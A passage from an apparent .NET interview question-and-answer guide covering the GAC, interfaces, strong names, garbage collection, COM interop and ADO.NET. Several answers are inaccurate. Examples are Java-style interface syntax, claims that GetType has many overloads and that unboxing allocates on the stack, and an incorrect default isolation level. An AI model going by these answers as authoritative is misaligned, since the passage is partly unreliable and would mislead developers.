situations where the Process that has a memory leak is to be traced to a erring DLL. Personally I have
never used a PID, our Windows debugger does the things required to determine.

What is the GAC? What problem does it solve?

Each computer where the Common Language Runtime is installed has a machine-wide code cache called
the Global Assembly Cache. The Global Assembly Cache stores assemblies that are to be shared by several
applications on the computer. This area is typically the folder under windows or winnt in the machine.

All the assemblies that need to be shared across applications need to be done through the Global
Assembly Cache only. However it is not necessary to install assemblies into the Global Assembly Cache to
make them accessible to COM interop or unmanaged code.

There are several ways to deploy an assembly into the Global Assembly Cache:
Use an installer designed to work with the Global Assembly Cache. This is the preferred option for
installing assemblies into the Global Assembly Cache.
Use a developer tool called the Global Assembly Cache tool (Gacutil.exe), provided by the .NET
Framework SDK.
Use Windows Explorer to drag assemblies into the cache.
GAC solves the problem of DLL Hell and DLL versioning. Unlike earlier situations, GAC can hold two
assemblies of the same name but different version. This ensures that the applications that access a
specific assembly continue to access the same assembly even if another version of that assembly is
installed on that machine.

Describe what an Interface is and how it's different from a Class.

An interface is a structure of code that is similar to a class. An interface is a prototype for a class and is
useful from a logical design perspective. Interfaces provide a means to define the protocols for a class
without worrying about the implementation details. The syntax for creating interfaces follows:

interface Identifier {
InterfaceBody
}

Identifier is the name of the interface and InterfaceBody refers to the abstract methods and static final
variables that make up the interface. Because it is assumed that all the methods in an interface are
abstract, it isn't necessary to use the abstract keyword
An interface is a description of some of the members available from a class. In practice, the syntax
typically looks similar to a class definition, except that there's no code defined for the methods just
their name, the arguments passed and the type of the value returned.
So what good is it? None by itself. But you create an interface so that classes will implement it.

But what does it mean to implement an interface. The interface acts as a contract or promise. If a class
implements an interface, then it must have the properties and methods of the interface defined in the
class. This is enforced by the compiler.

Broadly the differentiators between classes and interfaces is as follows
Interface should not have any implementation.
Interface can not create any instance.
Interface should provide high level abstraction from the implementation.
Interface can have multiple inheritances.
Default access level of the interface is public.
What is the difference between XML Web Services using ASMX and .NET Remoting using SOAP?

ASP.NET Web services and .NET Remoting provide a full suite of design options for cross-process and
cross-plaform communication in distributed applications. In general, ASP.NET Web services provide the
highest levels of interoperability with full support for WSDL and SOAP over HTTP, while .NET Remoting is
designed for Common Language Runtime type-system fidelity and supports additional data format and
communication channels. Hence if we looking cross-platform communication than web services is the
choice coz for .NET remoting .Net framework is requried that may or may not present for the other
platform.

Serialization and Metadata

ASP.NET Web services rely on the System.Xml.Serialization.XmlSerializer class to marshal data to and from
SOAP messages at runtime. For metadata, they generate WSDL and XSD definitions that describe what
their messages contain. The reliance on pure WSDL and XSD makes ASP.NET Web services metadata
portable; it expresses data structures in a way that other Web service toolkits on various platforms and
with various programming models can understand. In some cases, this imposes constraints on the types
you can expose from a Web serviceXmlSerializer will only marshal things that can be expressed in XSD.
Specifically, XmlSerializer will not marshal object graphs and it has limited support for container types.

.NET Remoting relies on the pluggable implementations of the IFormatter interface used by the
System.Runtime.Serialization engine to marshal data to and from messages. There are two standard
formatters, System.Runtime.Serialization.Formatters.Binary.BinaryFormatter and
System.Runtime.Serialization.Formatters.Soap.SoapFormatter. The BinaryFormatter and SoapFormatter, as
the names suggest, marshal types in binary and SOAP format respectively. For metadata, .NET Remoting
relies on the Common Language Runtime assemblies, that contain all the relevant information about the
data types they implement, and expose it via reflection. The reliance on the assemblies for metadata
makes it easy to preserve the full runtime type-system fidelity. As a result, when the .NET Remoting
plumbing marshals data, it includes all of a class's public and private members; handles object graphs
correctly; and supports all container types (for example, System.Collections.Hashtable). However, the
reliance on runtime metadata also limits the reach of a .NET Remoting systema client has to
understand .NET constructs in order to communicate with a .NET Remoting endpoint. In addition to
pluggable formatters, the .NET Remoting layer supports pluggable channels, that abstract away the details
of how messages are sent. There are two standard channels, one for raw TCP and one for HTTP. Messages
can be sent over either channel independent of format.

Distributed Application Design: ASP.NET Web Services visual Studio. .NET Remoting

ASP.NET Web services favor the XML Schema type system, and provide a simple programming model with
broad cross-platform reach. .NET Remoting favors the runtime type system, and provides a more complex
programming model with much more limited reach. This essential difference is the primary factor in
determining which technology to use. However, there are a wide range of other design factors, including
transport protocols, host processes, security, performance, state management, and support for
transactions to consider as well.

Security

Since ASP.NET Web services rely on HTTP, they integrate with the standard Internet security infrastructure.
ASP.NET leverages the security features available with IIS to provide strong support for standard HTTP
authentication schemes including Basic, Digest, digital certificates, and even Microsoft .NET Passport.
(You can also use Windows Integrated authentication, but only for clients in a trusted domain.) One
advantage of using the available HTTP authentication schemes is that no code change is required in a
Web service; IIS performs authentication before the ASP.NET Web services are called. ASP.NET also
provides support for .NET Passport-based authentication and other custom authentication schemes.
ASP.NET supports access control based on target URLs, and by integrating with the .NET code access
security (CAS) infrastructure. SSL can be used to ensure private communication over the wire.

Although these standard transport-level techniques to secure Web services are quite effective, they only
go so far. In complex scenarios involving multiple Web services in different trust domains, you need to
build custom ad hoc solutions. Microsoft and others are working on a set of security specifications that
build on the extensibility of SOAP messages to offer message-level security capabilities. One of these is
the XML Web Services Security Language (WS-Security), which defines a framework for message-level
credential transfer, message integrity, and message confidentiality.

As noted in the previous section, the .NET Remoting plumbing does not secure cross-process invocations
in the general case. A .NET Remoting endpoint hosted in IIS with ASP.NET can leverage all the same
security features available to ASP.NET Web services, including support for secure communication over the
wire using SSL. If you are using the TCP channel or the HTTP channel hosted in processes other than
aspnet_wp.exe, you need to implement authentication, authorization and privacy mechanisms yourself.
One additional security concern is the ability to execute code from a semi-trusted environment without
having to change the default security policy. ASP.NET Web Services client proxies work in these
environments, but .NET Remoting proxies do not. In order to use a .NET Remoting proxy from a semi-
trusted environment, you need a special serialization permission that is not given to code loaded from
your intranet or the Internet by default. If you want to use a .NET Remoting client from within a semi-
trusted environment, you have to alter the default security policy for code loaded from those zones. In
situations where you are connecting to systems from clients running in a sandboxlike a downloaded
Windows Forms application, for instanceASP.NET Web Services are a simpler choice because security
policy changes are not required.

Conceptually, what is the difference between early-binding and late-binding?

Early binding Binding at Compile Time
Late Binding Binding at Run Time

Early binding implies that the class of the called object is known at compile-time; late-binding implies that
the class is not known until run-time, such as a call through an interface or via Reflection.

Early binding is the preferred method. It is the best performer because your application binds directly to
the address of the function being called and there is no extra overhead in doing a run-time lookup. In
terms of overall execution speed, it is at least twice as fast as late binding.
Early binding also provides type safety. When you have a reference set to the component's type library,
Visual Basic provides IntelliSense support to help you code each function correctly. Visual Basic also warns
you if the data type of a parameter or return value is incorrect, saving a lot of time when writing and
debugging code.

Late binding is still useful in situations where the exact interface of an object is not known at design-time.
If your application seeks to talk with multiple unknown servers or needs to invoke functions by name
(using the Visual Basic 6.0 CallByName function for example) then you need to use late binding. Late
binding is also useful to work around compatibility problems between multiple versions of a component
that has improperly modified or adapted its interface between versions.

What is an Asssembly Qualified Name? Is it a filename? How is it different?

An assembly qualified name isn't the filename of the assembly; it's the internal name of the assembly
combined with the assembly version, culture, and public key, thus making it unique.

for example (""System.Xml.XmlDocument, System.Xml, Version=1.0.3300.0, Culture=neutral,
PublicKeyToken=b77a5c561934e089"")

How is a strongly-named assembly different from one that isn't strongly-named?

Strong names are used to enable the stricter naming requirements associated with shared assemblies.
These strong names are created by a .NET utility sn.exe

Strong names have three goals:
Name uniqueness. Shared assemblies must have names that are globally unique.
Prevent name spoofing. Developers don't want someone else releasing a subsequent version of
one of your assemblies and falsely claim it came from you, either by accident or intentionally.
Provide identity on reference. When resolving a reference to an assembly, strong names are used
to guarantee the assembly that is loaded came from the expected publisher.
Strong names are implemented using standard public key cryptography. In general, the process works as
follows: The author of an assembly generates a key pair (or uses an existing one), signs the file containing
the manifest with the private key, and makes the public key available to callers. When references are made
to the assembly, the caller records the public key corresponding to the private key used to generate the
strong name.

Weak named assemblies are not suitable to be added in GAC and shared. It is essential for an assembly to
be strong named.

Strong naming prevents tampering and enables assemblies to be placed in the GAC alongside other
assemblies of the same name.

How does the generational garbage collector in the .NET CLR manage object lifetime? What is non-
deterministic finalization?

The hugely simplistic version is that every time it garbage-collects, it starts by assuming everything to be
garbage, then goes through and builds a list of everything reachable. Those become not-garbage,
everything else doesn't, and gets thrown away. What makes it generational is that every time an object
goes through this process and survives, it is noted as being a member of an older generation (up to 2,
right now). When the garbage-collector is trying to free memory, it starts with the lowest generation (0)
and only works up to higher ones if it can't free up enough space, on the grounds that shorter-lived
objects are more likely to have been freed than longer-lived ones.
Non-deterministic finalization implies that the destructor (if any) of an object will not necessarily be run
(nor its memory cleaned up, but that's a relatively minor issue) immediately upon its going out of scope.
Instead, it will wait until first the garbage collector gets around to finding it, and then the finalisation
queue empties down to it; and if the process ends before this happens, it may not be finalised at all.
(Although the operating system will usually clean up any process-external resources left open, note the
usually there, especially as the exceptions tend to hurt a lot.)

What is the difference between Finalize() and Dispose()?

Dispose() is called by the user of an object to indicate that he is finished with it, enabling that object to
release any unmanaged resources it holds. Finalize() is called by the run-time to allow an object that has
not had Dispose() called on it to do the same. However, Dispose() operates determinalistically, whereas
there is no guarantee that Finalize() will be called immediately when an object goes out of scope, or
indeed at all, if the program ends before that object is GCed, and as such Dispose() is generally preferred.

How is the using() pattern useful? What is IDisposable? How does it support deterministic
finalization?

The using() pattern is useful because it ensures that Dispose() will always be called when a disposable
object (defined as one that implements IDisposable, and thus the Dispose() method) goes out of scope,
even if it does so by an exception being thrown, and thus that resources are always released.

What does this useful command line do? tasklist /m "mscor*"

Lists all the applications and associated tasks/process currently running on the system with a module
whose name begins "mscor" loaded into them; that in nearly all cases in other words "all the .NET
processes".

What's wrong with a line like this? DateTime.Parse(myString);

Therez nothing wrong with this declaration.Converts the specified string representation of a date and time
to its DateTime equivalent.But If the string is not a valid DateTime,It throws an exception.

What are PDBs? Where must they be located for debugging to work?

A program database (PDB) files holds debugging and project state information that allows incremental
linking of debug configuration of your program.There are several different types of symbolic debugging
information. The default type for Microsoft compiler is the so-called PDB file. The compiler setting for
creating this file is /Zi, or /ZI for C/C++(that creates a PDB file with additional information that enables a
feature called ""Edit and Continue"") or a Visual Basic/C#/JScript .NET program with /debug.
A PDB file is a separate file, placed by default in the Debug project subdirectory, that has the same name
as the executable file with the extension .pdb. Note that the Visual C++ compiler by default creates an
additional PDB file called VC60.pdb for VisulaC++6.0 and VC70.PDB file for VisulaC++7.0. The compiler
creates this file during compilation of the source code, when the compiler isn't aware of the final name of
the executable. The linker can merge this temporary PDB file into the main one if you tell it to, but it won't
do it by default. The PDB file can be useful to display the detailed stack trace with source files and line
numbers.

What is FullTrust? Do GAC'ed assemblies have FullTrust?

Before the .NET Framework existed, Windows had two levels of trust for downloaded code. This old model
was a binary trust model. You only had two choices: Full Trust, and No Trust. The code could either do
anything you could do, or it wouldn't run at all.

The permission sets in .NET include FullTrust, SkipVerification, Execution, Nothing, LocalIntranet, Internet
and Everything. Full Trust Grants unrestricted permissions to system resources. Fully trusted code run by a
normal, nonprivileged user cannot do administrative tasks, but can access any resources the user can
access, and do anything the user can do. From a security standpoint, you can think of fully trusted code as
being similar to native, unmanaged code, like a traditional ActiveX control.

GAC assemblies are granted FullTrust. In v1.0 and 1.1, the fact that assemblies in the GAC seem to always
get a FullTrust grant is actually a side effect of the fact that the GAC lives on the local machine. If anyone
were to lock down the security policy by changing the grant set of the local machine to something less
than FullTrust, and if your assembly did not get extra permission from some other code group, it would
no longer have FullTrust even though it lives in the GAC.

What does this do? gacutil /l | find /i "Corillian"

The Global Assembly Cache tool allows you to view and manipulate the contents of the Global Assembly
Cache and download cache.The tool comes with various optional params to do that.

""/l"" option Lists the contents of the Global Assembly Cache. If you specify the assemblyName
parameter(/l [assemblyName]), the tool lists only the assemblies matching that name.

What does this do .. sn -t foo.dll ?

Sn -t option displays the token for the public key stored in infile. The contents of infile must be previously
generated using -p.

Sn.exe computes the token using a hash function from the public key. To save space, the Common
Language Runtime stores public key tokens in the manifest as part of a reference to another assembly
when it records a dependency to an assembly that has a strong name. The -tp option displays the public
key in addition to the token.

How do you generate a strong name?

.NET provides an utility called strong name tool. You can run this toolfrom the VS.NET command prompt
to generate a strong name with an option "-k" and providing the strong key file name. in other words sn-
-k < file-name >

What is the difference between a Debug and Release build? Is there a significant speed difference?
Why or why not?

The Debug build is the program compiled with full symbolic debug information and no optimization. The
Release build is the program compiled employing optimization and contains no symbolic debug
information. These settings can be changed as per need from Project Configuration properties. The
release runs faster since it does not have any debug symbols and is optimized.

Explain the use of virtual, sealed, override, and abstract.

Abstract: The keyword can be applied for a class or method.

1. Class: If we use abstract keyword for a class it makes the class an abstract class, which means it cant be
instantiated. Though it is not necessary to make all the method within the abstract class to be virtual. ie,
Abstract class can have concrete methods
2. Method: If we make a method as abstract, we don't need to provide implementation of the method in
the class but the derived class need to implement/override this method.

Sealed: It can be applied on a class and methods. It stops the type from further derivation in other words
no one can derive class from a sealed class, ie A sealed class cannot be inherited. A sealed class cannot be
a abstract class. A compile time error is thrown if you try to specify sealed class as a base class. When an
instance method declaration includes a sealed modifier, that method is said to be a sealed method. If an
instance method declaration includes the sealed modifier, it must also include the override modifier. Use
of the sealed modifier prevents a derived class from further overriding the method For Egs: sealed
override public void Sample() { Console.WriteLine("Sealed Method"); }

Virtual and Override: Virtual and Override keywords provides runtime polymorphism. A base class can
make some of its methods as virtual that allows the derived class a chance to override the base class
implementation by using override keyword.

For example:
class Shape
{
int a
public virtual void Display()
{
Console.WriteLine("Shape");
}
}
class Rectangle:Shape
{
public override void Display()
{
Console.WriteLine("Derived");
}
}

Explain the importance and use of each, Version, Culture and PublicKeyToken for an assembly.

This three alongwith name of the assembly provide a strong name or fully qualified name to the assembly.
When a assebly is referenced with all three.

PublicKeyToken: Each assembly can have a public key embedded in its manifest that identifies the
developer. This ensures that once the assembly ships, no one can modify the code or other resources
contained in the assembly.

Culture: Specifies which culture the assembly supports

Version: The version number of the assembly.It is of the following form major.minor.build.revision.

Explain the differences between public, protected, private and internal.

These all are access modifier and they governs the access level. They can be applied to class, methods,
fields.

Public: Allows class, methods, fields to be accessible from anywhere in other words within and outside an
assembly.

Private: When applied to field and method allows to be accessible within a class.

Protected: Similar to private but can be accessed by members of derived class also.

Internal: They are public within the assembly in other words they can be accessed by anyone within an
assembly but outside assembly they are not visible.

What is the difference between typeof(foo) and myFoo.GetType()?

Typeof is operator that applied to a object returns System.Type object. Typeof cannot be overloaded
white GetType has lot of overloads.GetType is a method that also returns System.Type of an object.
GetType is used to get the runtime type of the object.
Example from MSDN showing Gettype used to retrive type at untime:

public class MyBaseClass : Object
{
}
public class MyDerivedClass : MyBaseClass
{
}
public class Test
{
public static void Main()
{
MyBaseClass myBase = new MyBaseClass();
MyDerivedClass myDerived = new MyDerivedClass();
object o = myDerived;
MyBaseClass b = myDerived;
Console.WriteLine("mybase: Type is {0}", myBase.GetType());
Console.WriteLine("myDerived: Type is {0}", myDerived.GetType());
Console.WriteLine("object o = myDerived: Type is {0}", o.GetType());
Console.WriteLine("MyBaseClass b = myDerived: Type is {0}", b.GetType());
}
}

/*
This code produces the following output.
mybase: Type is MyBaseClass
myDerived: Type is MyDerivedClass
object o = myDerived: Type is MyDerivedClass
MyBaseClass b = myDerived: Type is MyDerivedClass
*/

Can "this" be used within a static method?

No "This" cannot be used in a static method. As only static variables/methods can be used in a static
method.

What is the purpose of XML Namespaces?

An XML Namespace is a collection of element types and attribute names. It consists of 2 parts
1. The first part is the URI used to identify the namespace
2. The second part is the element type or attribute name itself.
Together they form a unique name. The various purpose of XML Namespace are
1. Combine fragments from various documents without any naming conflicts. (See example below.)
2. Write reusable code modules that can be invoked for specific elements and attributes. Universally
unique names guarantee that such modules are invoked only for the correct elements and
attributes.
3. Define elements and attributes that can be reused in other schemas or instance documents
without fear of name collisions. For example, you might use XHTML elements in a parts catalog to
provide part descriptions. Or you might use the nil attribute defined in XML Schemas to indicate a
missing value.
< Department >
< Name >DVS1< /Name >
< addr:Address xmlns:addr="http://www.tu-darmstadt.de/ito/addresses" >
< addr:Street >Wilhelminenstr. 7< /addr:Street >
< addr:City >Darmstadt< /addr:City >
< addr:State >Hessen< /addr:State >
< addr:Country >Germany< /addr:Country >
< addr:PostalCode >D-64285< /addr:PostalCode >
< /addr:Address >
< serv:Server xmlns:serv="http://www.tu-darmstadt.de/ito/servers" >
< serv:Name >OurWebServer< /serv:Name >
< serv:Address >123.45.67.8< /serv:Address >
< /serv:Server >
< /Department >

What is difference between MetaData and Manifest ?

Metadata and Manifest forms an integral part of an assembly( DLL / exe ) in .net framework.

Out of which Metadata is a mandatory component , which as the name suggests gives the details about
various components of IL code viz: Methods , properties , fields , class and so on.

Essentially Metadata maintains details in form of tables like Methods Metadata tables , Properties
Metadata tables , that maintains the list of given type and other details like access specifier , return type
and so on.

Now Manifest is a part of metadata only , fully called as "manifest metadata tables" , it contains the details
of the references needed by the assembly of any other external assembly / type , it could be a custom
assembly or standard System namespace.

Now for an assembly that can independently exists and used in the .Net world both the things ( Metadata
with Manifest ) are mandatory , so that it can be fully described assembly and can be ported anywhere
without any system dependency . Essentially .Net framework can read all assembly related information
from assembly itself at runtime.

But for .Net modules , that can't be used independently , until they are being packaged as a part of an
assembly , they don't contain Manifest but their complete structure is defined by their respective
metadata.
Ultimately . .Net modules use Manifest Metadata tables of parent assembly that contain them.

What is the use of Internal keyword?

Internal keyword is one of the access specifier available in .Net framework , that makes a type visible in a
given assembly , for e.g: a single DLL can contain multiple modules , essentially a multi file assembly , but
it forms a single binary component , so any type with internal keyword will be visible throughout the
assembly and can be used in any of the modules.

What actually happes when you add a something to arraylistcollection ?

Following things will happen:

Arraylist is a dynamic array class in C# in System.Collections namespace derived from interfaces
ICollection , IList , ICloneable , IConvertible . It terms of in memory structure following is the
implementation.
1. Check up the total space if there's any free space on the declared list.
2. If yes add the new item and increase count by 1 .
3. If No Copy the entire thing to a temporary Array of Last Max. Size.
4. Create new Array with size ( Last Array Size + Increase Value )
5. Copy back values from temp and reference this new array as original array.
6. Must doing Method updates too , need to check it up.
What is Boxing and unboxing? Does it occure automaatically or you need to write code to box and
unbox?

Boxing - Process of converting a System.ValueType to Reference Type , Mostly base class System.Object
type and allocating it memory on Heap .Reverse is unboxing , but can only be done with prior boxed
variables.
Boxing is always implicit but Unboxing needs to be explicitly done via casting , thus ensuring the value
type contained inside.

How Boxing and unboxing occures in memory?

Boxing converts value type to reference type , thus allocating memory on Heap. Unboxing converts
already boxed reference types to value types through explicit casting , thus allocating memory on stack.

Why only boxed types can be unboxed?

Unboxing is the process of converting a Reference type variable to Value type and thus allocating memory
on the stack . It happens only to those Reference type variables that have been earlier created by Boxing
of a Value Type , therefore internally they contain a value type , that can be obtained through explicit
casting . For any other Reference type , they don't internally contain a Value type to Unboxed via explicit
casting . This is why only boxed types can be unboxed.
Com +

What are various transaction options available for services components ?

There are 5 transactions types that can be used with COM+. Whenever an object is registered with COM+
it has to abide either to these 5 transaction types.

Disabled: There is no transaction. COM+ does not provide transaction support for this component.
Not Supported: Component does not support transactions. Hence even if the calling component in the
hierarchy is transaction enabled this component will not participate in the transaction.
Supported: Components with transaction type supported will be a part of the transaction if the calling
component has an active transaction.
If the calling component is not transaction enabled this component will not start a new transaction.
Required: Components with this attribute require a transaction in other words either the calling should
have a transaction in place else this component will start a new transaction.
Required New: Components enabled with this transaction type always require a new transaction.
Components with required new transaction type instantiate a new transaction for themselves every time.

Can we use com Components in .net?.How ?.can we use .net components in vb?.Explain how ?

COM components have different internal architecture from .NET components hence they are not innately
compatible. However .NET framework supports invocation of unmanaged code from managed code (and
vice-versa) through COM/.NET interoperability. .NET application communicates with a COM component
through a managed wrapper of the component called Runtime Callable Wrapper (RCW); it acts as
managed proxy to the unmanaged COM component. When a method call is made to COM object, it goes
onto RCW and not the object itself. RCW manages the lifetime management of the COM component.
Implementation Steps -

Create Runtime Callable Wrapper out of COM component. Reference the metadata assembly DLL in the
project and use its methods and properties RCW can be created using Type Library Importer utility or
through VS.NET. Using VS.NET, add reference through COM tab to select the desired DLL. VS.NET
automatically generates metadata assembly putting the classes provided by that component into a
namespace with the same name as COM DLL (XYZRCW.dll)

.NET components can be invoked by unmanaged code through COM Callable Wrapper (CCW) in
COM/.NET interop. The unmanaged code will talk to this proxy, that translates call to managed
environment. We can use COM components in .NET through COM/.NET interoperability. When managed
code calls an unmanaged component, behind the scene, .NET creates proxy called COM Callable wrapper
(CCW), that accepts commands from a COM client, and forwards it to .NET component. There are two
prerequisites to creating .NET component, to be used in unmanaged code:
1. .NET class should be implement its functionality through interface. First define interface in code,
then have the class to imlpement it. This way, it prevents breaking of COM client, if/when .NET
component changes.
2. Secondly, .NET class, that is to be visible to COM clients must be declared public. The tools that
create the CCW only define types based on public classes. The same rule applies to methods,
properties, and events that will be used by COM clients.
Implementation Steps -
1. Generate type library of .NET component, using TLBExporter utility. A type library is the COM
equivalent of the metadata contained within

a .NET assembly. Type libraries are generally contained in files with the extension .tlb. A type
library contains the necessary information to allow a COM client to determine which classes are
located in a specific server, as well as the methods, properties, and events supported by those
classes.

2. Secondly, use Assembly Registration tool (regasm) to create the type library and register it.
3. Lastly install .NET assembly in GAC, so it is available as shared assembly.
What is Runtime Callable wrapper?.when it will created?.

The Common Language Runtime exposes COM objects through a proxy called the runtime callable
wrapper (RCW). Although the RCW appears to be an ordinary object to .NET clients, its primary function is
to marshal calls between a .NET client and a COM object. This wrapper turns the COM interfaces exposed
by the COM component into .NET-compatible interfaces. For oleautomation (attribute indicates that an
interface is compatible with Automation) interfaces, the RCW can be generated automatically from a type
library. For non-oleautomation interfaces, it may be necessary to develop a custom RCW that manually
maps the types exposed by the COM interface to .NET-compatible types.

What is Com Callable wrapper?when it will created?

.NET components are accessed from COM via a COM Callable Wrapper (CCW). This is similar to a RCW,
but works in the opposite direction. Again, if the wrapper cannot be automatically generated by the .NET
development tools, or if the automatic behaviour is not desirable, a custom CCW can be developed. Also,
for COM to "see" the .NET component, the .NET component must be registered in the registry.CCWs also
manage the object identity and object lifetime of the managed objects they wrap.

What is a primary interop ?

A primary interop assembly is a collection of types that are deployed, versioned, and configured as a
single unit. However, unlike other managed assemblies, an interop assembly contains type definitions (not
implementation) of types that have already been defined in COM. These type definitions allow managed
applications to bind to the COM types at compile time and provide information to the Common
Language Runtime
about how the types should be marshaled at run time.

What are tlbimp and tlbexp tools used for ?

The Type Library Exporter generates a type library that describes the types defined in a Common
Language Runtime assembly.

The Type Library Importer converts the type definitions found within a COM type library into equivalent
definitions in a Common Language Runtime assembly. The output of Tlbimp.exe is a binary file (an
assembly) that contains runtime metadata for the types defined within the original type library.

What benefit do you get from using a Primary Interop Assembly (PIA)?

PIAs are important because they provide unique type identity. The PIA distinguishes the official type
definitions from counterfeit definitions provided by other interop assemblies. Having a single type identity
ensures type compatibility among applications that share the types defined in the PIA. Because the PIA is
signed by its publisher and labeled with the PrimaryInteropAssembly attribute, it can be differentiated
from other interop assemblies that define the same types.

ADO.NET

Explain what a diffgram is and its usage ?

A DiffGram is an XML format that is used to identify current and original versions of data elements. The
DataSet uses the DiffGram format to load and persist its contents, and to serialize its contents for
transport across a network connection. When a DataSet is written as a DiffGram, it populates the DiffGram
with all the necessary information to accurately recreate the contents, though not the schema, of the
DataSet, including column values from both the Original and Current row versions, row error information,
and row order.

When sending and retrieving a DataSet from an XML Web service, the DiffGram format is implicitly used.
Additionally, when loading the contents of a DataSet from XML using the ReadXml method, or when
writing the contents of a DataSet in XML using the WriteXml method, you can select that the contents be
read or written as a DiffGram.

The DiffGram format is divided into three sections: the current data, the original (or "before") data, and an
errors section, as shown in the following example.
<?xml version="1.0"?>
<diffgr:diffgram
xmlns:msdata="urn:schemas-microsoft-com:xml-msdata"
xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<DataInstance>
</DataInstance>
<diffgr:before>
</diffgr:before>
<diffgr:errors>
</diffgr:errors>
</diffgr:diffgram>

The DiffGram format consists of the following blocks of data:

<DataInstance>

The name of this element, DataInstance, is used for explanation purposes in this documentation. A
DataInstance element represents a DataSet or a row of a DataTable. Instead of DataInstance, the element
would contain the name of the DataSet or DataTable. This block of the DiffGram format contains the
current data, whether it has been modified or not. An element, or row, that has been modified is identified
with the diffgr:hasChanges annotation.

<diffgr:before>

This block of the DiffGram format contains the original version of a row. Elements in this block are
matched to elements in the DataInstance block using the diffgr:id annotation.

<diffgr:errors>

This block of the DiffGram format contains error information for a specific row in the DataInstance block.
Elements in this block are matched to elements in the DataInstance block using the diffgr:id annotation.

Which method do you invoke on the DataAdapter control to load your generated dataset with
data?

You must use the Fill method of the DataAdapter control and pass the dataset object as an argument to
load the generated data.

Can you edit data in the Repeater control?

NO.

Which are the various IsolationLevels ?

Following are the various IsolationLevels:
Serialized Data read by a current transaction cannot be changed by another transaction until the
current transaction finishes. No new data can be inserted that would affect the current
transaction. This is the safest isolation level and is the default.
Repeatable Read Data read by a current transaction cannot be changed by another transaction
until the current transaction finishes. Any type of new data can be inserted during a transaction.
Read Committed A transaction cannot read data that is being modified by another transaction
that has not committed. This is the default isolation level in Microsoft SQL Server.
Read Uncommitted A transaction can read any data, even if it is being modified by another
transaction. This is the least safe isolation level but allows the highest concurrency.
Any Any isolation level is supported. This setting is most commonly used by downstream
components to avoid conflicts. This setting is useful because any downstream component must
be configured with an isolation level that is equal to or less than the isolation level of its
immediate upstream component. Therefore, a downstream component that has its isolation level
configured as Any always uses the same isolation level that its immediate upstream component
uses. If the root object in a transaction has its isolation level configured to Any, its isolation level
becomes Serialized.
How XML files and be read and write using dataset?.

DataSet exposes method like ReadXml and WriteXml to read and write XML

What are the various rowversions available?

There are four types of Rowversions.

Current

The current values for the row. This row version does not exist for rows with a RowState of Deleted.

Default

The row the default version for the current DataRowState. For a DataRowState value of Added, Modified
or Current, the default version is Current. For a DataRowState of Deleted, the version is Original. For a
DataRowState value of Detached, the version is Proposed.

Original

The row contains its original values.

Proposed

The proposed values for the row. This row version exists during an edit operation on a row, or for a row
that is not part of a DataRowCollection

Explain acid properties?.

The term ACID conveys the role transactions play in mission-critical applications. Coined by transaction
processing pioneers, ACID stands for atomicity, consistency, isolation, and durability.
These properties ensure predictable behavior, reinforcing the role of transactions as all-or-none
propositions designed to reduce the management load when there are many variables.

Atomicity

A transaction is a unit of work in which a series of operations occur between the BEGIN TRANSACTION
and END TRANSACTION statements of an application. A transaction executes exactly once and is atomic
all the work is done or none of it is.
Operations associated with a transaction usually share a common intent and are interdependent. By
performing only a subset of these operations, the system could compromise the overall intent of the
transaction. Atomicity eliminates the chance of processing a subset of operations.

Consistency

A transaction is a unit of integrity because it preserves the consistency of data, transforming one
consistent state of data into another consistent state of data.
Consistency requires that data bound by a transaction be semantically preserved. Some of the
responsibility for maintaining consistency falls to the application developer who must ensure that all
known integrity constraints are enforced by the application. For example, in developing an application
that transfers money, you should avoid arbitrarily moving decimal points during the transfer.

Isolation

A transaction is a unit of isolation, allowing concurrent transactions to behave as though each were the
only transaction running in the system.

Isolation requires that each transaction appear to be the only transaction manipulating the data store,
even though other transactions may be running at the same time. A transaction should never see the
intermediate stages of another transaction.

Transactions attain the highest level of isolation when they are serializable. At this level, the results
obtained from a set of concurrent transactions are identical to the results obtained by running each
transaction serially. Because a high degree of isolation can limit the number of concurrent transactions,
some applications reduce the isolation level in exchange for better throughput.

Durability

A transaction is also a unit of recovery. If a transaction succeeds, the system guarantees that its updates
will persist, even if the computer crashes immediately after the commit. Specialized logging allows the
system's restart procedure to complete unfinished operations, making the transaction durable.

Whate are various types of Commands available with DataAdapter ?

The SqlDataAdapter has SelectCommand, InsertCommand, DeleteCommand and UpdateCommand

What is a Dataset?

Datasets are the result of bringing together ADO and XML. A dataset contains one or more data of tabular
XML, known as DataTables, these data can be treated separately, or can have relationships defined among
them. Indeed these relationships give you ADO data SHAPING without needing to master the SHAPE
language, that many people are not comfortable with.

The dataset is a disconnected in-memory cache database. The dataset object model looks like this:

Dataset

DataTableCollection
DataTable
DataView
DataRowCollection
DataRow
DataColumnCollection
DataColumn
ChildRelations
ParentRelations
Constraints
PrimaryKey
DataRelationCollection

Let's have a look at each of these:

DataTableCollection: As we say that a DataSet is an in-memory database. So it has this collection, that
holds data from multiple tables in a single DataSet object.
DataTable: In the DataTableCollection, we have DataTable objects, that represents the individual tables of
the dataset.
DataView: The way we have views in database, same way we can have DataViews. We can use these
DataViews to do Sort, filter data.
DataRowCollection: Similar to DataTableCollection, to represent each row in each Table we have
DataRowCollection.
DataRow: To represent each and every row of the DataRowCollection, we have DataRows.
DataColumnCollection: Similar to DataTableCollection, to represent each column in each Table we have
DataColumnCollection.
DataColumn: To represent each and every Column of the DataColumnCollection, we have DataColumn.
PrimaryKey: Dataset defines Primary key for the table and the primary key validation will take place
without going to the database.
Constraints: We can define various constraints on the Tables, and can use
Dataset.Tables(0).enforceConstraints. This will execute all the constraints, whenever we enter data in
DataTable.
DataRelationCollection: as we know that we can have more than 1 table in the dataset, we can also
define relationship among these tables using this collection and maintain a parent-child relationship.

Explain the ADO . Net Architecture ( .Net Data Provider)

ADO.Net is the data access model for .Net based applications. It can be used to access relational
database systems such as SQL Server 2000, Oracle, and many other data sources for which there is an OLD
DB or ODBC provider. To a certain extent, ADO.NET represents the latest evolution of ADO technology.
However, ADO.NET introduces some major changes and innovations that are aimed at the loosely
coupled and inherently disconnected nature of web applications.

A .Net Framework data provider is used to connecting to a database, executing commands, and retrieving
results. Those results are either processed directly, or placed in an ADO.NET DataSet in order to be
exposed to the user in an ad-hoc manner, combined with data from multiple sources, or remoted
between tiers. The .NET Framework data provider is designed to be lightweight, creating a minimal layer
between the data source and your code, increasing performance without sacrificing functionality.

Following are the 4 core objects of .Net Framework Data provider:
Connection: Establishes a connection to a specific data source
Command: Executes a command against a data source. Exposes Parameters and can execute
within the scope of a Transaction from a Connection.
DataReader: Reads a forward-only, read-only stream of data from a data source.
